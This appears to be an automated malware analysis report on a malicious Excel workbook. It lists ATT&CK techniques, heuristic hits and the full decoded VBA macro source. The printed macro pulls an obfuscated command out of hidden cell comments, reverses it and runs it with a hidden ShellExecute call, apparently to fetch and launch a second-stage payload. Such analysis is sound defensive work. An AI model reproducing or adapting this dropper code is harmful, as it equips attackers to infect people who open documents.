MALICIOUS
100
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059 Command and Scripting Interpreter
T1203 Exploitation for Client Execution
The sample is an Excel file containing VBA macros. The macros utilize `CreateObject` to instantiate an object and then call `ShellExecute` with a constructed command. This command appears to be designed to download and execute a second-stage payload, indicated by the `ShellExecute` call and the concatenation of strings to form the command. The specific URL or executable name is obfuscated, but the intent is clear.
Heuristics 3
-
Reference to ShellExecute API high SC_STR_SHELLEXECReference to ShellExecute API
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set UyMNyLd = CreateObject(t7) UyMNyLd.ShellExecute "P" + n1, A2, "", "", 0
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1532 bytes |
SHA-256: b03ae1533d0421193833f1a84cd633850124184706dd0573cf048aa4dd14ed70 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Activate()
Dim cnGx, IejQn, gQomKkm, rPMn
Set rPMn = Worksheets("Sheet1")
cnGx = rPMn.Range("D500").NoteText + rPMn.Range("D501").NoteText + rPMn.Range("D502").NoteText + rPMn.Range("D503").NoteText + rPMn.Range("D504").NoteText + rPMn.Range("D505").NoteText + rPMn.Range("D506").NoteText + rPMn.Range("D507").NoteText
t8hg0 = rPMn.Range("D508").NoteText
y70fdsd = rPMn.Range("D509").NoteText
gQomKk = LOL.rQahe(lvYcBrt(cnGx), t8hg0, y70fdsd)
End Sub
Function lvYcBrt(Text)
Dim i As Integer
Dim StrNew As String
Dim strOld As String
strOld = Trim(Text)
For i = 1 To Len(strOld)
StrNew = Mid(strOld, i, 1) & StrNew
Next i
lvYcBrt = StrNew
End Function
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "LOL"
Function rQahe(A2, n1, t7)
Dim UyMNyLd
Set UyMNyLd = CreateObject(t7)
UyMNyLd.ShellExecute "P" + n1, A2, "", "", 0
End Function
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.